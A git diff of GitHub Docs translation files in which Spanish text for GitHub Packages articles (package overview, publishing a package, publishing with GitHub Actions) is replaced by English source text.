%} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -![Diagrama que muestra la compatibilidad de paquetes para el registro, RubyGems, npm, Apache Maven, NuGet y Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) +![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} -![Diagrama ue muestra la compatibilidad de paquetes para el registro de Docker, RubyGems, npm, Apache Maven, Gradle, NuGet y Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) +![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %} -Puedes ver el README de un paquete, así como los metadatos tales como el licenciamiento, estadísticas de descarga, historial de la versión y más en {% data variables.product.product_name %}. Para obtener más información, consulta "[Visualizar paquetes](/packages/manage-packages/viewing-packages)". +You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)." -### Resumen de los permisos y visibilidad de los paquetes +### Overview of package permissions and visibility -| | | -| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | -| Permisos | | -| {% ifversion fpt or ghec %}Es posible heredar los permisos para un paquete del repositorio donde este se hospeda o, para los paquetes en el {% data variables.product.prodname_container_registry %}, pueden definirse para cuentas de usuario y organización específicas. Para obtener más información, consulta la sección "[Configurar la visibilidad y el control de accesos de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)". {% else %}Cada paquete hereda los permisos del repositorio en donde este mismo se hospeda.

                Por ejemplo, cualquiera con permisos de lectura en un repositorio puede instalar un paquete como una dependencia en un proyecto y cualquiera con permisos de escritura puede publicar una versión nueva de un paquete.{% endif %} | | -| | | -| Visibilidad | {% data reusables.package_registry.public-or-private-packages %} +| | | +|--------------------|--------------------| +| Permissions | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.product.prodname_container_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted.

                For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} | +| Visibility | {% data reusables.package_registry.public-or-private-packages %} | -Para obtener más información, consulta la sección "[Acerca de los permisos para el {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)". +For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." {% ifversion fpt or ghec %} -## Acerca de la facturación para {% data variables.product.prodname_registry %} +## About billing for {% data variables.product.prodname_registry %} -{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} Para obtner más información, consulta la sección "[Acerca de la facturación para el {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)". +{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." {% endif %} -## Formatos y clientes admitidos +## Supported clients and formats -{% data variables.product.prodname_registry %} usa los comandos de herramientas del paquete nativo con los que ya estás familiarizado para publicar e instalar versiones del paquete. -### Soporte para los registros de paquetes +{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions. +### Support for package registries -| Lenguaje | Descripción | Formato del paquete | Cliente del paquete | -| ---------- | -------------------------------------------------------------- | ----------------------------------- | ------------------- | -| JavaScript | Gestor de paquetes Node | `package.json` | `npm` | -| Ruby | Gestor de paquetes RubyGems | `Gemfile` | `gema` | -| Java | Herramienta de administración y comprensión Apache Maven | `pom.xml` | `mvn` | -| Java | Herramienta de automatización de construcción Gradle para Java | `build.gradle` o `build.gradle.kts` | `gradle` | -| .NET | Administración del paquete NuGet para .NET | `nupkg` | `dotnet` CLI | -| N/A | Plataforma de administración del contenedor Docker | `Dockerfile` | `Docker` | +| Language | Description | Package format | Package client | +| --- | --- | --- | --- | +| JavaScript | Node package manager | `package.json` | `npm` | +| Ruby | RubyGems package manager | `Gemfile` | `gem` | +| Java | Apache Maven project management and comprehension tool | `pom.xml` | `mvn` | +| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts` | `gradle` | +| .NET | NuGet package management for .NET | `nupkg` | `dotnet` CLI | +| N/A | Docker container management | `Dockerfile` | `Docker` | {% ifversion ghes %} {% note %} -**Nota:** Docker no es compatible cuando inhabilitas el aislamiento de subdominios. +**Note:** Docker is not supported when subdomain isolation is disabled. {% endnote %} -Para obtener más información acerca del aislamiento de subdominios, consulta la sección "[Habilitar el aislamiento de subdominios](/enterprise/admin/configuration/enabling-subdomain-isolation)". +For more information about subdomain isolation, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." {% endif %} -Para obtener más información sobre cómo configurar tu cliente de paquete para utilizarlo con el {% data variables.product.prodname_registry %}, consulta la sección "[Trabajar con un registro del {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)". +For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." {% ifversion fpt or ghec %} -Para obtener más información sobre Docker y sobre el {% data variables.product.prodname_container_registry %}, consulta la sección "[Trabajar con el registro de contenedores](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)". +For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% endif %} -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -## Administrar paquetes +## Managing packages {% ifversion fpt or ghec %} -You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. Para obtener más información, consulta la sección "[API del {% data variables.product.prodname_registry %}](/rest/reference/packages)". +You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} user interface or using the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." {% endif %} {% ifversion ghes > 3.0 %} -Puedes borrar un paquete público o privado en la interface de usuario de {% data variables.product.product_name %}. O, para los paquetes con alcance de repo, puedes borrar una versión de un paquete privado utilizando GraphQL. +You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL. {% endif %} {% ifversion ghes < 3.1 %} -Puedes borrar una versión de un paquete privado en la interface de usuario de {% data variables.product.product_name %} o utilizar la API de GraphQL. +You can delete a version of a private package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} {% ifversion ghae %} -Puedes borrar una versión de un paquete en la interface de usuario de {% data variables.product.product_name %} o utilizar la API de GraphQL. +You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API. {% endif %} -Cuando usas la API de GraphQL para consultar y eliminar paquetes privados, debes usar el mismo token que usas para autenticarte en {% data variables.product.prodname_registry %}. Para obtener más información, consulta las secciones "{% ifversion fpt or ghes > 3.0 or ghec %}[Borrar y restablecer un paquete](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Borrar un paquete](/packages/learn-github-packages/deleting-a-package){% endif %}" y "[Formar llamadas con GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)". +When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)." -Puedes configurar webhooks para suscribirte a eventos relacionados con paquetes, como cuando se publica o se actualiza un paquete. Para obtener más información, consulta el "[evento de webhook de `package`](/webhooks/event-payloads/#package)". +You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)." -## Contactar con soporte técnico +## Contacting support {% ifversion fpt or ghec %} -Si tienes comentarios o solicitudes de características para {% data variables.product.prodname_registry %}, usa el formulario de comentarios de [ para {% data variables.product.prodname_registry %}](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages). +If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use the [feedback form for {% data variables.product.prodname_registry %}](https://support.github.com/contact/feedback?contact%5Bcategory%5D=github-packages). -Contacta el {% data variables.contact.github_support %} sobre {% data variables.product.prodname_registry %} usando [nuestro formulario de contacto](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) si: +Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if: -* Experimentas alguna cosa que contradice la documentación -* Encuentras errores vagos o poco claros -* Tu paquete publicado contiene datos confidenciales, como violaciones del RGPD, claves de API o información de identificación personal +* You experience anything that contradicts the documentation +* You encounter vague or unclear errors +* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information {% else %} -Si necesitas soporte para {% data variables.product.prodname_registry %}, por favor, contacta a tus administradores de sitio. +If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators. {% endif %} diff --git a/translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md b/translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md index 4f2c31c1e3..d0f92d9ccb 100644 --- a/translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md +++ b/translations/es-ES/content/packages/learn-github-packages/publishing-a-package.md @@ -1,6 +1,6 @@ --- -title: Publicar un paquete -intro: 'Puedes publicar un paquete en {% data variables.product.prodname_registry %} para que el paquete esté disponible para que otros lo descarguen y lo vuelvan a utilizar.' +title: Publishing a package +intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/publishing-a-package @@ -16,25 +16,24 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## Acerca de los paquetes publicados +## About published packages -Puedes ayudar a la gente a entender y usar tu paquete proporcionando una descripción y otros detalles como instrucciones de instalación y uso en la página del paquete. GitHub proporciona metadatos para cada versión, como la fecha de publicación, la actividad de descarga y las versiones recientes. Para obtener una página de paquete de ejemplo, consulta [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). +You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). -{% data reusables.package_registry.public-or-private-packages %} Un repositorio puede conectarse a más de un paquete. Para evitar confusiones, asegúrate de que el archivo README y la descripción proporcionen información clara de cada paquete. +{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. {% ifversion fpt or ghec %} -Si una versión nueva de un paquete soluciona una vulnerabilidad de seguridad, deberás publicar una asesoría de seguridad en tu repositorio. -{% data variables.product.prodname_dotcom %} revisa cada asesoría de seguridad que se publica y podría utilizarla para enviar {% data variables.product.prodname_dependabot_alerts %} a los repositorios afectados. Para obtener más información, consulta la sección "[Acerca de las Asesorías de Seguridad de GitHub](/github/managing-security-vulnerabilities/about-github-security-advisories)". +If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." {% endif %} -## Publicar un paquete +## Publishing a package You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. -1. Crea o usa un token de acceso existente con los ámbitos adecuados para la tarea que deseas realizar. Para obtener más información, consulta la sección "[Acerca de los permisos para el {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)". -2. Autentícate en {% data variables.product.prodname_registry %} mediante tu token de acceso y las instrucciones para tu cliente del paquete. -3. Publica el paquete siguiendo las instrucciones para el cliente de tu paquete. +1. Create or use an existing access token with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +2. Authenticate to {% data variables.product.prodname_registry %} using your access token and the instructions for your package client. +3. Publish the package using the instructions for your package client. -Para obtener instrucciones específicas de tu cliente de paquetes, consulta la sección "[Trabajar con un registro de Paquetes de GitHub](/packages/working-with-a-github-packages-registry)". +For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)." -Después de que publiques un paquete, puedes verlo en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Visualizar paquetes](/packages/learn-github-packages/viewing-packages)". +After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)." diff --git a/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md index eda2962b47..aded45e897 100644 --- a/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ b/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: Publicar e instalar un paquete con GitHub Actions -intro: 'Puedes configurar un flujo de trabajo en {% data variables.product.prodname_actions %} para publicar o instalar automáticamente un paquete desde {% data variables.product.prodname_registry %}.' +title: Publishing and installing a package with GitHub Actions +intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions @@ -11,80 +11,80 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Publicar & instalar con acciones +shortTitle: Publish & install with Actions --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.actions.ae-beta %} -## Acerca de {% data variables.product.prodname_registry %} con {% data variables.product.prodname_actions %} +## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} -{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} Para obtener más información, consulta "[Acerca de {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." +{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." -Puedes ampliar las capacidades de CI y CD de tu repositorio publicando o instalando paquetes como parte de tu flujo de trabajo. +You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. {% ifversion fpt or ghec %} -### Autenticarse en el {% data variables.product.prodname_container_registry %} +### Authenticating to the {% data variables.product.prodname_container_registry %} {% data reusables.package_registry.authenticate_with_pat_for_container_registry %} {% endif %} -### Autenticarse en los registros de paquetes en {% data variables.product.prodname_dotcom %} +### Authenticating to package registries on {% data variables.product.prodname_dotcom %} -{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}Tiene permisos de lectura y escritura para los paquetes del repositorio en donde se ejecuta el flujo de trabajo. {% endif %}Para las bifurcaciones, se otorga acceso de lectura al `GITHUB_TOKEN` en el repositorio padre. Para obtener más información, consulta "[Autenticar con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)". +{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." -Puedes hacer referencia al `GITHUB_TOKEN` en tu archivo de flujo de trabajo mediante el contexto {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %}. Para más información, consulta "[Autenticando con el GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." +You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." -## Acerca de los permisos y acceso a los paquetes para los paquetes que pertenecen a los repositorios +## About permissions and package access for repository-owned packages {% note %} -**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Los paquetes de Gradle y de Docker que utilizan el designador de nombre del paquete `docker.pkg.github.com`.{% endif %} +**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`.{% endif %} {% endnote %} -Cuando habilitas las Acciones de GitHub, GitHub instala una App GitHub en tu repositorio. El secreto del `GITHUB_TOKEN` es un token de acceso a la instalación de GitHub App. Puedes utilizar el token de acceso a la instalación para autenticarte en nombre de la GitHub App instalada en tu repositorio. Los permisos del token están limitados al repositorio que contiene tu flujo de trabajo. Para obtener más información, consulta la sección "[Permisos para el GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)". +When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)." -El {% data variables.product.prodname_registry %} te permite subir y extraer paquetes mediante el `GITHUB_TOKEN` que está disponible para un flujo de trabajo de {% data variables.product.prodname_actions %}. +{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. {% ifversion fpt or ghec %} -## Acerca de los permisos y el acceso de paquetes para el {% data variables.product.prodname_container_registry %} +## About permissions and package access for {% data variables.product.prodname_container_registry %} -El {% data variables.product.prodname_container_registry %} (`ghcr.io`) permite a los usuarios crear y administrar contenedores como recursos independientes a nivel organizacional. Los contenedores pueden pertenecer a una organización o a una cuenta de usuario personal y puedes personalizar el acceso para cada uno de tus contenedores por aparte de los permisos del repositorio. +The {% data variables.product.prodname_container_registry %} (`ghcr.io`) allows users to create and administer containers as free-standing resources at the organization level. Containers can be owned by an organization or personal user account and you can customize access to each of your containers separately from repository permissions. -Todos los flujos de trabajo que accedan al {% data variables.product.prodname_container_registry %} deben utilizar el `GITHUB_TOKEN` en vez de un token de acceso personal. Para obtener más información acerca de las mejores prácticas de seguridad, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)". +All workflows accessing the {% data variables.product.prodname_container_registry %} should use the `GITHUB_TOKEN` instead of a personal access token. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -## Configuración de acceso y permisos predeterminados para los contenedores que se modifican a través de los flujos de trabajo +## Default permissions and access settings for containers modified through workflows -Cuando creas, instalas, modificas o borras un contenedor a través de un flujo de trabajo, hay algunos permisos y configuraciones de acceso predeterminados que se utilizan para garantizar que los administradores tengan acceso al fluljo de trabajo. También puedes ajustar esta configuración de acceso. +When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. -Por ejemplo, predeterminadamente, si un flujo de trabajo crea un contenedor que utilice el `GITHUB_TOKEN`, entonces: -- El contenedor hereda la visibilidad el modelo de permisos del repositorio en donde se ejecuta el flujo de trabajo. -- Los administradores de repositorio donde se ejecuta el flujo de trabajo se convierten en los administradores del contenedor una vez que este se cree. +For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then: +- The container inherits the visibility and permissions model of the repository where the workflow is run. +- Repository admins where the workflow is run become the admins of the container once the container is created. -Estos son más ejemplos de cómo funcionan los permisos predeterminados para los flujos de trabajo que administran paquetes. +These are more examples of how default permissions work for workflows that manage packages. -| Tarea de flujo de trabajo de {% data variables.product.prodname_actions %} | Acceso y permisos predeterminados | -| -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Descargar un contenedor existente | - Si el contenedor es público, cualquier flujo de trabajo que se ejecute en cualquier repositorio puede descargar el contenedor.
                - Si el contenedor es interno, entonces todos los flujos de trabajo que se ejecuten en un repositorio que pertenezca a la cuenta empresarial podrá descargarlo. Para las organziaciones que pertenecen a una empresa, puedes leer cualquier repositorio en la empresa
                - Si el contenedor es privado, solo los flujos de trabajo que se ejecuten en los repositorios a los que se les otorga permiso de lectura en dicho contenedor podrán descargarlo.
                | -| Carga una versión nueva a un contenedor existente | - Si el contenedor es privado, interno, o público, solo los flujos de trabajo que se ejecuten en repositorios que tengan el permiso de escritura en dicho contenedor podrán cargar versiones nuevas de este. | -| Borrar un contenedor o versiones de un contenedor | - Si el contenedor es privado, interno o público, solo los flujos de trabajo que se ejecuten en los repositorios a los que se les otorga permiso de borrado podrán borrar las versiones existentes de este. | +| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | +|----|----| +| Download an existing container | - If the container is public, any workflow running in any repository can download the container.
                - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise
                - If the container is private, only workflows running in repositories that are given read permission on that container can download the container.
                +| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container. +| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container. -También puedes ajustar el acceso a los contenedores de forma más granular o ajustar el comportamiento de algunos de los permisos predeterminados. Para obtener más información, consulta la sección "[Configurar la visibilidad y el control de accesos de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)". +You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% endif %} -## Publicar un paquete mediante una acción +## Publishing a package using an action -Puedes utilizar {% data variables.product.prodname_actions %} para publicar paquetes automáticamente como parte de tu flujo de integración contínua (IC). Este acercamiento a los despliegues contínuos (DC) te permite automatizar la creación de nuevas versiones de los paquetes si el código cumple con tus estándares de calidad. Por ejemplo, podrías crear un flujo de trabajo que ejecute pruebas de IC cada vez que un desarrollador suba código a alguna rama en particular. Si estas pruyebas pasan, el flujo de trabajo puede publicar una versión nueva del paquete en el {% data variables.product.prodname_registry %}. +You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. {% data reusables.package_registry.actions-configuration %} The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. -Crea un archivo de flujo de trabajo nuevo en tu repositorio (tal como `.github/workflows/deploy-image.yml`), y agrega el siguiente YAML: +Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML: {% ifversion fpt or ghec %} {% data reusables.package_registry.publish-docker-image %} @@ -161,7 +161,7 @@ jobs: ``` {% endif %} -La configuración relevante se explica en la siguiente tabla. Para encontrar los detalles completos de cada elemento en un flujo de trabajo, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." @@ -175,7 +175,7 @@ on: {% endraw %} @@ -192,7 +192,7 @@ env: {% endraw %} @@ -207,7 +207,7 @@ jobs: {% endraw %} @@ -233,7 +233,7 @@ run-npm-build: {% endraw %} @@ -268,7 +268,7 @@ run-npm-test: {% endraw %} @@ -283,7 +283,7 @@ build-and-push-image: {% endraw %} @@ -301,7 +301,7 @@ permissions: {% endraw %} {% endif %} @@ -321,7 +321,7 @@ permissions: {% endraw %} @@ -338,7 +338,7 @@ permissions: {% endraw %} @@ -357,7 +357,7 @@ permissions: {% endraw %} {% endif %} @@ -371,7 +371,7 @@ permissions: {% endraw %} @@ -384,7 +384,7 @@ uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc {% endraw %} @@ -397,7 +397,7 @@ with: {% endraw %} @@ -411,7 +411,7 @@ context: . {% endraw %} {% endif %} @@ -425,7 +425,7 @@ push: true {% endraw %} @@ -440,7 +440,7 @@ labels: ${{ steps.meta.outputs.labels }} {% endraw %} @@ -464,47 +464,50 @@ docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }} {% endif %} {% endif %}
                - Configura el flujo de trabajo de Crear y publicar una imagen de Docker para que se ejecute cada vez que se sube un cambio a la rama que se llama release. + Configures the Create and publish a Docker image workflow to run every time a change is pushed to the branch called release.
                - Define dos variables de ambiente personalizadas para el flujo de trabajo. Estas se utilizan para el dominio del {% data variables.product.prodname_container_registry %} y para un nombre para la imagen de Docker que compila este flujo de trabajo. + Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
                - Hay solo un job en este flujo de trabajo. Se configura para ejecutarse en la última versión disponible de Ubuntu. + There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
                - Este job instala NPM y lo utiliza para crear la app. + This job installs NPM and uses it to build the app.
                - Este job utiliza npm test para probar el código. El comando needs: run-npm-build hace que este job dependa del job run-npm-build. + This job uses npm test to test the code. The needs: run-npm-build command makes this job dependent on the run-npm-build job.
                - Este job publica el paquete. El comando needs: run-npm-test hace que este job dependa del job run-npm-test. + This job publishes the package. The needs: run-npm-test command makes this job dependent on the run-npm-test job.
                - Configura los permisos que se otorgan al GITHUB_TOKEN para las acciones en este job. + Sets the permissions granted to the GITHUB_TOKEN for the actions in this job.
                - Crea un paso que se llama Log in to the {% data variables.product.prodname_container_registry %}, el cual se asienta en el registro utilizando la cuenta y contraseñas que publicarán los paquetes. Una vez que se publica, los paquetes pertenecerán a la cuenta que se define aquí. + Creates a step called Log in to the {% data variables.product.prodname_container_registry %}, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
                - Este paso utiliza docker/metadata-action para extrar etiquetas y marcas que se aplicarán a la imagen específica. La id "meta" permite que se referencie la salida de este paso en otro subsecuente. El valor images proporciona el nombre base para las etiquetas y marcadores. + This step uses docker/metadata-action to extract tags and labels that will be applied to the specified image. The id "meta" allows the output of this step to be referenced in a subsequent step. The images value provides the base name for the tags and labels.
                - Crea un paso nuevo que se llame Log in to GitHub Docker Registry, el cual inicia sesión en el registro utilizando la cuenta y contraseña que publicará los paquetes. Una vez que se publica, los paquetes pertenecerán a la cuenta que se define aquí. + Creates a new step called Log in to GitHub Docker Registry, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
